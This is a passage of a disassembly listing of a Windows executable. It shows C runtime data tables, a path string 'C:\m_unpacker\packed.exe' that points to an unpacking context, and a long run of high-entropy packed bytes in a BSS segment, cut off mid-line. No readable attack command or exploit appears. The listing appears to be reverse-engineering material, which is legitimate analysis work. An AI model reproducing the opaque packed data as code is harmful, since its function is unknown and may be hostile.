sub_40AA08 ; DATA XREF: sub_406AC5+65Fr off_4107F4 dd offset sub_40AA08 ; DATA XREF: sub_406AC5+640r dword_4107F8 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_4063B2+1Do ; sub_406500+6Eo dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_410870 dd 3 ; DATA XREF: sub_407786+90r ; sub_407786+AFr ... dword_410874 dd 7 ; DATA XREF: sub_407786+96r ; sub_407786+B5r ... dd 78h dword_41087C dd 0Ah ; DATA XREF: sub_407786+18r ; sub_4078FD+4r dword_410880 dd 0FFFFFFFFh, 16h dup(0) ; DATA XREF: sub_4063B2+6Eo ; sub_406500+9Ao ... dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 31h dup(0) dd 62610000h, 66656463h, 6A696867h, 6E6D6C6Bh, 7271706Fh dd 76757473h, 7A797877h, 0 db 0 align 2 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 align 4 dd 21h dup(0) byte_410AA0 db 0 ; DATA XREF: sub_408490+102w align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h, 0 byte_410BA8 db 0 ; DATA XREF: sub_408490+11Ew align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_410CA8 dd 342B80h ; DATA XREF: sub_4048C8+41r ; sub_408199+4Cr ... byte_410CAC db 1 ; DATA XREF: sub_4082B7+111r db 2, 4, 8 dword_410CB0 dd 3A4h ; DATA XREF: sub_4082B7:loc_4082F3r dword_410CB4 dd 82798260h, 21h, 0 ; DATA XREF: sub_4082B7+159r dword_410CC0 dd 0DFA6h ; DATA XREF: sub_4082B7+F4r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dd offset dword_40DDA8+4 dword_410DA4 dd 0FFFFFFFEh ; DATA XREF: sub_4048C8+2Cr ; sub_4048C8+4Cr ... dword_410DA8 dd 43h, 0 ; DATA XREF: sub_408648:loc_408745o ; sub_408788:loc_4087D3o ... dword_410DB0 dd 2, 15h dup(0) ; DATA XREF: sub_406500+DAo ; sub_40889A+28o ... dd offset dword_410DA8 dd 3 dup(0) dd offset dword_410DA8 dd 3 dup(0) dd offset dword_410DA8 dd 3 dup(0) dd offset dword_410DA8 dd 3 dup(0) dd offset dword_410DA8 dd 3 dup(0) dd 2 dup(1), 3 dup(0) dd offset off_411248 dd 2 dup(0) dd offset asc_40DBA8 ; " ((((( H" dd offset dword_40DFB0+80h dd offset dword_40DFB0+200h dd offset off_411188 off_410E88 dd offset dword_410DB0 ; DATA XREF: sub_4048C8+24r ; sub_4063B2+93r ... dd 1 off_410E90 dd offset dword_410DB0 ; DATA XREF: sub_407E0C+17o dd offset dword_410880 align 10h dword_410EA0 dd 0FFFFFFFFh, 0A80h, 0Eh dup(0) ; DATA XREF: sub_4068C4:loc_4069CAo ; sub_406AC5:loc_406BA1o ... off_410EE0 dd offset dword_412A60 ; DATA XREF: sub_40A528o ; sub_40A52E+52o ... align 8 dd offset dword_412A60 dd 101h dword_410EF0 dd 0FFFFFFFEh, 0 ; DATA XREF: sub_40A52E+74o dd 1000h, 4 dup(0) dd 2, 0FFFFFFFEh, 6 dup(0) dd 2, 0FFFFFFFEh, 7 dup(0) dword_410F50 dd 7Ch dup(0) ; DATA XREF: sub_40A52E+A4o dword_411140 dd 8 dup(0) ; DATA XREF: sub_40A5FF+Eo ; sub_40A669+Do byte_411160 db 3 ; DATA XREF: sub_40A52E+67o ; sub_40AA11+1Br ... align 10h dword_411170 dd 19930520h, 3 dup(0) ; DATA XREF: seg001:0040AD22o ; sub_40AD29+2o dd offset asc_40DBA8 ; " ((((( H" dd offset dword_40DDA8+2 off_411188 dd offset aSun ; DATA XREF: sub_408648+D9o ; seg001:00410E84o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" dd offset aJun ; "Jun" dd offset aJul ; "Jul" dd offset aAug ; "Aug" dd offset aSep ; "Sep" dd offset aOct ; "Oct" dd offset aNov ; "Nov" dd offset aDec ; "Dec" dd offset aJanuary ; "January" dd offset aFebruary ; "February" dd offset aMarch ; "March" dd offset aApril ; "April" dd offset aMay ; "May" dd offset aJune ; "June" dd offset aJuly ; "July" dd offset aAugust ; "August" dd offset aSeptember ; "September" dd offset aOctober ; "October" dd offset aNovember ; "November" dd offset aDecember ; "December" dd offset aAm ; "AM" dd offset aPm ; "PM" dd offset aMmDdYy ; "MM/dd/yy" dd offset aDdddMmmmDdYyyy ; "dddd, MMMM dd, yyyy" dd offset dword_40DFB0+300h dd 409h, 2 dup(1), 411188h dword_411244 dd 2Eh ; DATA XREF: seg001:off_411248o off_411248 dd offset dword_411244 ; DATA XREF: sub_408648+14o ; sub_40B4B8+Br ... off_41124C dd offset dword_411D74 ; DATA XREF: sub_40B4B8+1Dr off_411250 dd offset dword_411D74 ; DATA XREF: sub_40B4B8+2Fr off_411254 dd offset dword_411D74 ; DATA XREF: sub_40B4F8+Cr off_411258 dd offset dword_411D74 ; DATA XREF: sub_40B4F8+1Er off_41125C dd offset dword_411D74 ; DATA XREF: sub_40B4F8+30r off_411260 dd offset dword_411D74 ; DATA XREF: sub_40B4F8+42r off_411264 dd offset dword_411D74 ; DATA XREF: sub_40B4F8+54r off_411268 dd offset dword_411D74 ; DATA XREF: sub_40B4F8+66r off_41126C dd offset dword_411D74 ; DATA XREF: sub_40B4F8+78r dd 2 dup(7F7F7F7Fh), 411248h, 1, 2Eh, 1, 2 dup(0) dword_411290 dd 2 ; DATA XREF: sub_40BB71+13r ; sub_40BB71+4Fr ... align 10h dd 7080h, 1, 0FFFFF1F0h, 0 dword_4112B0 dd 545350h, 0Fh dup(0) ; DATA XREF: seg001:00411330o dword_4112F0 dd 544450h, 0Fh dup(0) ; DATA XREF: seg001:00411334o dd offset dword_4112B0 dd offset dword_4112F0 dd 0FFFFFFFFh, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dword_411350 dd 0FFFFFFFEh ; DATA XREF: sub_40C1D4:loc_40C1EDr dword_411354 dd 0FFFFFFFEh ; DATA XREF: sub_40BB71+1Br ; sub_40BB71:loc_40BB9Ar ... dd 0FFFFFFFFh, 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h dd 111h, 130h, 14Eh, 16Dh, 0FFFFFFFFh, 1Eh, 3Ah, 59h, 77h dd 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh, 14Dh, 16Ch dword_4113C0 dd 0 ; DATA XREF: sub_401960:loc_401967r ; sub_401960+29w ... db 0 byte_4113C5 db 3 dup(0) ; DATA XREF: sub_402040+2EDo dword_4113C8 dd 0 ; DATA XREF: seg001:00401095r ; seg001:0040111Ar ... align 10h dword_4113D0 dd 2 ; DATA XREF: sub_4042D8:loc_404300r ; sub_40430F:loc_404337r ... dword_4113D4 dd 0A28h ; DATA XREF: seg001:00404C5Aw dword_4113D8 dd 501h ; DATA XREF: seg001:00404C49w dword_4113DC dd 5 ; DATA XREF: sub_40430F+30r ; seg001:00404C4Ew dword_4113E0 dd 1 ; DATA XREF: seg001:00404C54w dword_4113E4 dd 1 ; DATA XREF: sub_408E59+A2w dword_4113E8 dd 342DA8h ; DATA XREF: sub_408E59+A7w align 10h dword_4113F0 dd 342DC8h ; DATA XREF: sub_408BE6+4Bw ; sub_408BE6:loc_408CABr ... align 10h off_411400 dd offset aCM_unpackerPac ; DATA XREF: sub_408E59+37w ; "C:\\m_unpacker\\packed.exe" align 8 byte_411408 db 0 ; DATA XREF: sub_4043DD+2Dw ; sub_40A5DF+5r align 4 dword_41140C dd 0 ; DATA XREF: sub_4043DD+24w dword_411410 dd 0 ; DATA XREF: sub_4043DD+1Cr ; sub_4043DD+B4w dword_411414 dd 0 ; DATA XREF: seg001:00404CB8w ; sub_408BE6:loc_408BF8r ... dd 0 dword_41141C dd 0 ; DATA XREF: sub_404B36r ; sub_409A46+15r ... dword_411420 dd 0 ; DATA XREF: sub_404D85+4w ; sub_404E8B+3r align 8 dword_411428 dd 77FC5940h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_404FAB+4o ; seg001:off_4105E0o dword_411440 dd 77FC5960h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: seg001:004105E8o dword_411458 dd 77FC5980h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: seg001:004105F8o dd 77FC59A0h, 0FFFFFFFFh, 4 dup(0) dword_411488 dd 77FC59C0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: seg001:00410610o dd 77FC59E0h, 0FFFFFFFFh, 4 dup(0) dd 77FC5A00h, 0FFFFFFFFh, 4 dup(0) dword_4114D0 dd 77FC5A20h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: seg001:00410630o dword_4114E8 dd 77FC5A40h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: seg001:00410640o dd 143EF8h, 0FFFFFFFFh, 4 dup(0) dd 143F20h, 0FFFFFFFFh, 4 dup(0) dword_411530 dd 143F48h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: seg001:00410660o dd 143F70h, 0FFFFFFFFh, 4 dup(0) dd 143F98h, 0FFFFFFFFh, 4 dup(0) dword_411578 dd 0 ; DATA XREF: sub_405152+21w ; sub_4051C5+21Cr ... dword_41157C dd 340000h ; DATA XREF: sub_403B17+19r ; sub_403B17+72r ... dword_411580 dd 6 dup(0) ; DATA XREF: sub_405D62+66o db 0 byte_411599 db 3 dup(0) ; DATA XREF: sub_405D62+8Ao dd 40h dup(0) db 0 byte_41169D db 0 ; DATA XREF: sub_405D62+92w align 10h dd 7Dh dup(0) dword_411894 dd 0 ; DATA XREF: sub_405D62+E3o ; sub_405F3B+4w ... dword_411898 dd 0 ; DATA XREF: sub_403B17+80r ; sub_40B684+CAr ... align 10h dword_4118A0 dd 0 ; DATA XREF: sub_4060E5+8Fw ; seg001:off_40D83Co dword_4118A4 dd 0 ; DATA XREF: sub_4060E5+99w dd 0 dword_4118AC dd 0 ; DATA XREF: sub_4060E5+8Aw dd 10h dup(0) dword_4118F0 dd 0 ; DATA XREF: sub_4060E5+BFw ; sub_4060E5+DFr align 8 dword_4118F8 dd 0 ; DATA XREF: sub_4060E5+7Bw ; seg001:0040D840o dd 22h dup(0) word_411984 dw 0 ; DATA XREF: sub_4060E5+4Fw align 4 word_411988 dw 0 ; DATA XREF: sub_4060E5+48w align 4 word_41198C dw 0 ; DATA XREF: sub_4060E5+41w align 10h word_411990 dw 0 ; DATA XREF: sub_4060E5+3Aw align 4 dword_411994 dd 0 ; DATA XREF: sub_4060E5+26w dword_411998 dd 0 ; DATA XREF: sub_4060E5+20w dword_41199C dd 0 ; DATA XREF: sub_4060E5+1Aw dword_4119A0 dd 0 ; DATA XREF: sub_4060E5+14w dword_4119A4 dd 0 ; DATA XREF: sub_4060E5+Ew dword_4119A8 dd 0 ; DATA XREF: sub_4060E5+9w dword_4119AC dd 0 ; DATA XREF: sub_4060E5+60w dword_4119B0 dd 0 ; DATA XREF: sub_4060E5+68w ; sub_4060E5+85r word_4119B4 dw 0 ; DATA XREF: sub_4060E5+33w align 4 dword_4119B8 dd 0 ; DATA XREF: sub_4060E5+57w dword_4119BC dd 0 ; DATA XREF: sub_4060E5+70w word_4119C0 dw 0 ; DATA XREF: sub_4060E5+2Cw align 4 dd 80h dup(0) off_411BC4 dd offset sub_40633A ; DATA XREF: sub_406621+30w ; sub_406621+51r ... dword_411BC8 dd 77E78B61h ; DATA XREF: sub_406343+13r ; sub_406621+3Dw ... dword_411BCC dd 77E79B39h ; DATA XREF: sub_406471+38r ; sub_406621+4Aw ... dword_411BD0 dd 77E72B29h ; DATA XREF: sub_406375+Br ; sub_406621+5Ew ... off_411BD4 dd offset sub_40773B ; DATA XREF: sub_407774+Bw dword_411BD8 dd 0 ; DATA XREF: sub_4078E4+4w ; sub_40793E:loc_407987o ... dword_411BDC dd 0 ; DATA XREF: sub_4078E4+9w ; sub_40793E:loc_4079DDo ... dword_411BE0 dd 0 ; DATA XREF: sub_4078E4+Ew sub_407931r ... dword_411BE4 dd 0 ; DATA XREF: sub_4078E4+13w ; sub_40793E:loc_4079E9o ... dd 0 dword_411BEC dd 0 ; DATA XREF: sub_407AEE+4w dd 2 dup(0) dword_411BF8 dd 0 ; DATA XREF: sub_407AF8+4w dword_411BFC dd 77E7C706h ; DATA XREF: sub_407B02+4w ; sub_407B1C+11r ... dword_411C00 dd 0 ; DATA XREF: sub_40823D+15w ; sub_40823D+1Dw ... word_411C04 dw 0 ; DATA XREF: sub_408490+E7w align 10h dword_411C10 dd 4E4h ; DATA XREF: sub_408490+C3w dword_411C14 dd 0 ; DATA XREF: sub_408490+CBw dword_411C18 dd 0 ; DATA XREF: sub_408490+D3w dword_411C1C dd 0 ; DATA XREF: sub_404A52+6r ; sub_407E0C+5r dd 8 dup(0) aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_408E59+1Do ; seg001:off_411400o align 4 dd 3Ah dup(0) byte_411D44 db 0 ; DATA XREF: sub_408E59+24w align 4 dword_411D48 dd 1 ; DATA XREF: sub_408F12+2r ; sub_408F12+24w ... dword_411D4C dd 0 ; DATA XREF: sub_409323+14r ; sub_409323+29r ... dword_411D50 dd 0 ; DATA XREF: sub_409765+10r ; sub_409765+61w ... dword_411D54 dd 0 ; DATA XREF: sub_409765+76w ; sub_409765:loc_4098C0r dword_411D58 dd 0 ; DATA XREF: sub_409765+83w ; sub_409765+179r dword_411D5C dd 0 ; DATA XREF: sub_409765+D1w ; sub_409765:loc_40983Br dword_411D60 dd 0 ; DATA XREF: sub_409765+BBw ; sub_409765+E2r ... dword_411D64 dd 0 ; DATA XREF: sub_40A486w dword_411D68 dd 0 ; DATA XREF: sub_40A6F6+Ar dword_411D6C dd 1 ; DATA XREF: sub_40AD4B+14r ; sub_40AD4B+3Aw ... dword_411D70 dd 1 ; DATA XREF: sub_40B130+Fr ; sub_40B130+37w ... dword_411D74 dd 33h dup(0) ; DATA XREF: seg001:off_41124Co ; seg001:off_411250o ... dword_411E40 dd 2 dup(0) ; DATA XREF: seg001:00402013o ; sub_402040+7Fo ... dword_411E48 dd 0 ; DATA XREF: seg001:00401FB8r ; seg001:00401FE1w ... dword_411E4C dd 0 ; DATA XREF: seg001:00401FCEw ; seg001:00401FE7w dword_411E50 dd 0 ; DATA XREF: seg001:00401FBFw dd 2 dup(0) dword_411E5C dd 0 ; DATA XREF: seg001:loc_401FDAr ; seg001:00401FF8w dword_411E60 dd 0 ; DATA XREF: seg001:loc_401FFEr dd 6 dup(0) word_411E7C dw 0 ; DATA XREF: sub_401E40+3Fr ; sub_402040+B3w align 10h dword_411E80 dd 0 ; DATA XREF: seg001:004036B3o ; seg001:00403819o ... dword_411E84 dd 0 ; DATA XREF: seg001:004036B9w ; seg001:00403838w ... dword_411E88 dd 0 ; DATA XREF: seg001:0040382Ew dword_411E8C dd 0 ; DATA XREF: seg001:00403860w dword_411E90 dd 0 ; DATA XREF: seg001:00403842w dword_411E94 dd 0 ; DATA XREF: seg001:00403824w dword_411E98 dd 0 ; DATA XREF: seg001:00403856w dword_411E9C dd 0 ; DATA XREF: seg001:loc_4036AEr ; seg001:0040381Fw ... dword_411EA0 dd 0 ; DATA XREF: seg001:00401F9Ao ; sub_402040+90o ... dword_411EA4 dd 0 ; DATA XREF: sub_402040+614w ; sub_402040+8B1w ... dword_411EA8 dd 0 ; DATA XREF: sub_402040+124r ; sub_402040+1EAr ... align 10h dword_411EB0 dd 0 ; DATA XREF: sub_402040+D9Ar dword_411EB4 dd 0 ; DATA XREF: sub_402040+5BCw ; sub_402040+844w ... dword_411EB8 dd 0 ; DATA XREF: sub_402040+214w ; sub_402040+262r ... dword_411EBC dd 0 ; DATA XREF: sub_402040:loc_402189r ; sub_402040:loc_40230Br dword_411EC0 dd 0 ; DATA XREF: sub_402040+5AFw ; sub_402040+C79r dd 5 dup(0) dword_411ED8 dd 0 ; DATA XREF: sub_402040+278r ; sub_402040+2A9r ... dd 2DFh dup(0) dword_412A58 dd 343388h ; DATA XREF: sub_40A52E+2Bw ; sub_40A52E+44w ... align 10h dword_412A60 dd 400h dup(0) ; DATA XREF: seg001:off_410EE0o ; seg001:00410EE8o dword_413A60 dd 200h ; DATA XREF: sub_40A52Er ; sub_40A52E:loc_40A548w ... dword_413A64 dd 0 ; DATA XREF: sub_40931Bw dword_413A68 dd 20h ; DATA XREF: sub_409047+3Cw ; sub_409047+BFw ... dd 5 dup(0) dword_413A80 dd 3420B0h ; DATA XREF: sub_4068C4+FDr ; sub_409047+37w ... dd 3Fh dup(0) dword_413B80 dd 1 ; DATA XREF: sub_4060D1w sub_4060D1+Cw dword_413B84 dd 1 ; DATA XREF: sub_403BE0+28r ; sub_403FE0+1Er ... dword_413B88 dd 1 ; DATA XREF: sub_403B17:loc_403B52r ; sub_40405A+13r ... dword_413B8C dd 0 ; DATA XREF: sub_405152+28w ; sub_40519Ar ... dword_413B90 dd 0 ; DATA XREF: sub_405152+15w ; sub_40519A+6r ... dword_413B94 dd 0 ; DATA XREF: sub_403AC8+13r ; sub_405152+36w ... dword_413B98 dd 0 ; DATA XREF: sub_405152+2Fw ; sub_4051C5+2FCw ... dword_413B9C dd 0 ; DATA XREF: sub_405152+3Cw ; sub_4054D9r ... dword_413BA0 dd 0 ; DATA XREF: sub_4051C5+229r ; sub_4051C5+249r ... dword_413BA4 dd 142340h ; DATA XREF: seg001:00404CAEw ; sub_408B89:loc_408B9Ar ... dword_413BA8 dd 0 ; DATA XREF: sub_404650+F1r ; sub_404650+FAo ... dword_413BAC dd 1 ; DATA XREF: sub_408BE6+B3w dword_413BB0 dd 343304h ; DATA XREF: sub_4043DD+45r ; sub_407459+10r ... dword_413BB4 dd 343300h ; DATA XREF: sub_4043DD+37r ; sub_407459+5r ... dword_413BB8 dd 1 ; DATA XREF: sub_40862Ar ; sub_40862A+11w ... dword_413BBC dd 0 ; DATA XREF: sub_40434Br sub_40434B+9o ... dword_413BC0 dd 0 ; DATA XREF: sub_40434B:loc_4043B4r ; sub_40434B+74o ... dd 50Fh dup(0) seg001 ends ; Section 2. (virtual address 00015000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 00015000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Uninitialized ; Segment permissions: Read/Write seg002 segment para public 'BSS' use32 assume cs:seg002 ;org 415000h assume es:nothing, ss:nothing, ds:seg001, fs:nothing, gs:nothing dword_415000 dd 2444008Bh, 75C08504h, 0C1E1B806h, 0F8C3C141h, 833E0C40h ; DATA XREF: seg002:0041CFACo dd 317700F8h, 508524FFh, 0B8C0F910h, 0B215A31Ch, 4406A430h dd 70195832h, 4386880Ch, 0EAC2198h, 1D0C498Dh, 9C8236Fh dd 222F9129h, 413B4435h, 380CC89h, 7C8B5751h, 0E8EA0C24h dd 0E2298A36h, 147432F0h, 0EA2C8014h, 0C809F6FFh, 5F807516h dd 8B56C359h, 13C83035h, 74F6859Eh, 0BB90393Dh, 0BBC9BB0Eh dd 8AC7002Bh, 75113A10h, 0D2843E1Ah, 501E123Dh, 0FE51DC01h dd 0C0830E07h, 3DC13702h, 33E4E824h, 53FEBF4h, 0D8307D1Bh dd 8B15A3FFh, 72086376h, 9A2AC875h, 0BF46222h, 8BA55E61h dd 7400446h, 7B48BF0Fh, 0C503F0Ah, 4351021Dh, 10244C8Dh dd 2ADEE8B0h, 0C6A48C7h, 810F0E76h, 67FDF098h, 6896789h dd 6D1C1327h, 4815DD62h, 0C43E8385h, 8561F14h, 43A091E9h dd 20EC810Ch, 0C3564A03h, 2C24BC5Ch, 0F6331300h, 0C75FE3Bh dd 468D025Fh, 0C4815E07h, 55C31A80h, 2421AC8Bh, 3BC00134h dd 410E76EEh, 43870CC0h, 0C5D801A9h, 101F7189h, 8446F372h dd 0FC373C24h, 127E0FC6h, 1863548Dh, 9364489h, 1B18DB74h dd 1504EB14h, 0F9948AB1h, 0BD43BB38h, 53018CC2h, 0A123C88h dd 0C9333B74h, 0AE891449h, 25760E7Dh, 90D4648Dh, 7340F90Ah dd 871C0EE4h, 7955B6Ah, 0AD288C5Ch, 1064233h, 86672088h dd 6E8DDF72h, 51B2A3F9h, 3D0294B3h, 42A31193h, 280C8C9Fh dd 5076C201h, 8E1E482Ah, 2C8C9C1Bh, 1B26ED29h, 8425869Dh dd 8DD61551h, 0EB060E9Ch, 9DDB3302h, 21130444h, 2C624074h dd 14401C02h, 8C948052h, 9D023021h, 5E4FE12Ch, 5BB4C5A1h dd 84027C0Eh, 1476ED85h, 3B359090h, 27E3DD1h, 1223CA29h dd 18804FEDh, 501341B2h, 0A8525356h, 6A30A681h, 3BDB6327h dd 2A7537C3h, 8DEB606Ah, 0F1C0643h, 922AC486h, 6670034Dh dd 4498F80h, 4289CD3Bh, 5B60800Ch, 87915F5Dh, 75522349h dd 0B8211A10h, 15325508h, 76EBAEA3h, 8161808Ah, 1C74C012h dd 0B7739A90h, 2F085124h, 0E8525040h, 8F274C01h, 48B07C0h dd 403F83B7h, 11476410h, 84E41F08h, 4D88018Dh, 2D126DBh dd 21341312h, 0B591022Ch, 0C68A5EB7h, 72F5049Fh, 0EB30928Ah dd 5915106Dh, 0B22868B0h, 150CC79h, 1318EC83h, 40440A1h dd 89C4336Ch, 420A31C5h, 0CF6120C4h, 17A565C7h, 13750282h dd 0F4A86964h, 0CC093314h, 222B87E8h, 8518C455h, 0E30E7EEAh dd 7B8E675h, 56B69041h, 69231E0Ch, 0A5281FB3h, 0C751E441h dd 45B81046h, 0C996632h, 0FDBBA88Dh, 0A9A2E6E8h, 8A68046Ah dd 0ECC5208h, 0B0162766h, 7168F628h, 0E8C6A8FFh, 0A639DF02h dd 106A0BF9h, 510C2921h, 526DBD52h, 0E4E80A82h, 7D43DD25h dd 0C9E111Ch, 5B82804h, 0F521748Ch, 41BB6E2Ah, 2E5E4D84h dd 0DCE8E501h, 0E014194Dh, 208D222h, 0CA910575h, 0E8955CC3h dd 0CAAE57FDh, 4EE8320Ah, 48284610h, 912AF750h, 38743C6Bh dd 3D1382B1h, 0F1A22548h, 4276F12Ch, 1611350Ch, 0C021831h dd 0B80A1033h, 58FF0257h, 0A062B8Ah, 80A08323h, 1CC16CAh dd 812251E5h, 9053470Ch, 0D80F9306h, 0F4BF1C6Ah, 64900257h dd 0E821240Eh, 81824D1Bh, 0B7D089Ah, 574D03B8h, 44C256ACh dd 0B0C80E14h, 0BE1F16C8h, 3D0B10E3h, 2C26D0B3h, 1631EB32h dd 520A9A2h, 88505F85h, 5B8286Ah, 0E1855E5Dh, 0E7412C4Eh dd 7D9A265Ah, 11C820C4h, 58CA6652h, 0E81FCA28h, 0DF09C83Dh dd 6B2A94B2h, 6850C0A0h, 6604F67Eh, 2F865480h, 9AD65F53h dd 51D62296h, 10D19153h, 5F8BBB02h, 755C130Ch, 2369CFA2h dd 53D3485Bh, 0E885D2A5h, 0CB282450h, 5B95850Ch, 81888CCh dd 0F25123FCh, 0E77B16EAh, 0D62B408Ch, 130A0CF7h, 455E895Fh dd 2E5BC362h, 259410C6h, 8D551CA0h, 0CA285E2Ah, 0C2C90354h dd 10882346h, 2F99BD51h, 0EA253C6Ah, 0F88B0783h, 13191CCBh dd 87EC72Bh, 730AF480h, 0EC2D8B59h, 1540D038h, 49B2A48Dh dd 805D684h, 0A26384E8h, 0CC75CB4Ah, 3E260DCAh, 0D4C3EE5h dd 5DE30CA3h, 0CC374E4h, 0E246ED68h, 29C5D5FFh, 115950C3h dd 0B4720904h, 5F26995Dh, 0CCFBFB5Dh, 0C03FA4CBh, 201F1EE9h dd 231E8449h, 419319CEh, 8D571068h, 2BC317Eh, 580C07FDh dd 0BE26862Ch, 57E2D622h, 90084451h, 32224218h, 1C04755Fh dd 4232E689h, 1BACB1E5h, 17870535h, 4A3224Eh, 831A3A45h dd 89024D45h, 0F3208B53h, 7455DB85h, 6C4D6A79h, 2ED3C07h dd 0C7575662h, 0B9A69843h, 8B0BC70Fh, 37FD27F3h, 95365A5h dd 0AB021446h, 0CCC6284Dh, 15102021h, 5E808A48h, 3C6A187Dh dd 0E855C0E5h, 0C427D024h, 5D429869h, 3A437989h, 4595C35Bh dd 0C679D508h, 0AA5D1018h, 2CDF7686h, 126F6D2Eh, 0EC813331h dd 55241872h, 18B41236h, 0ED3313F9h, 7550ECB8h, 45178DB8h dd 0D7045D07h, 4560110h, 0E2532453h, 31B612Eh, 0FF4D50C7h dd 9324D8FDh, 0FDD0E3Bh, 0CA12AD84h, 0DE035178h, 0D3032140h dd 4A4C0590h, 1C468534h, 0C53B8944h, 168B85h, 5350BB01h dd 154E35E8h, 9F8CCA74h, 890460ABh, 7D61C6Eh, 7E03B640h dd 0BAC93324h, 521027CAh, 9140B06h, 0B955182Eh, 0D59376B5h dd 71A0D42Ch, 0AA4EDF50h, 8B3079F8h, 32606CDBh, 12E82809h dd 0C009121h, 1038367Eh, 26405990h, 49577A55h, 6E498A28h dd 3B353430h, 1E7B72C7h, 10698590h, 305D053Ch, 0FD026F24h dd 965E5B5Fh, 89C532D9h, 21825FEAh, 33461C5Eh, 47B25B49h dd 0A570581Eh, 0BBBE8E02h, 0C0A1020Bh, 0C090D17Ah, 0E4BB0950h dd 57482643h, 95F19541h, 3000D1A6h, 89FF851Dh, 74233D50h dd 8A567324h, 461A7026h, 894B6449h, 0B12120C4h, 50FE568Ch dd 84A6EB28h, 0C6811C1Eh, 0A3600396h, 0A3158BABh, 8DC2B033h dd 8A011570h, 8404E508h, 0A0F775C9h, 2B090C7Ch, 815250C6h dd 0FFFE622Bh, 0AAF0F2C7h, 0F9B73779h, 85681198h, 161005C7h dd 8B5F0301h, 0ACC35EC6h, 6D9723A3h, 25FD49A0h, 44F26382h dd 46965098h, 2019E8E1h, 173CAA33h, 161FE690h, 7722343Dh dd 65054211h, 4BC31F5Eh, 43A2850Fh, 11BA08B8h, 8E3227AFh dd 2709190h, 3BFF3357h, 476AC8F7h, 0E95F6A07h, 48AE28CEh dd 0BC16927Eh, 290D741Fh, 46022546h, 86F3896h, 521B306h dd 0FA19259Ah, 0A0200269h, 87421332h, 0D3832089h, 0FEF95657h dd 43D23324h, 0E06BD3E1h, 26DE112Ch, 1F2270E0h, 1EDE7087h dd 413A6BBh, 0EA52A89h, 63524191h, 1BBD28EBh, 32FB62F1h dd 1014E150h, 1E58A3E8h, 3F07F9FFh, 86685163h, 0AE42844Bh dd 1873C82Fh, 76577064h, 0B0A703F6h, 5CF0C668h, 0A10851Eh dd 10F2C8B5h, 851E0A80h, 88857A38h, 50CE1DF5h, 40C3E43Dh dd 7E9101A6h, 21F3BE6Bh, 14441FA1h, 0D234B9B7h, 3EFA256Dh dd 89B042ECh, 9360B40Ch, 0BDB3235Dh, 891E48B2h, 6CE87060h dd 8F9E1D52h, 0D8B75062h, 203AB473h, 8404050h, 8D16FB98h dd 0C30A2C56h, 3FEA9E03h, 0C89E5095h, 909C5E34h, 0A572FF76h dd 0DC22115Eh, 27BE0C24h, 95729A1Ah, 61E1CDA4h, 25682091h dd 7F2C81A6h, 1C100020h, 7A790AA2h, 0A084A6Fh, 0BF82AC9h dd 0B12951F1h, 80910C20h, 43821011h, 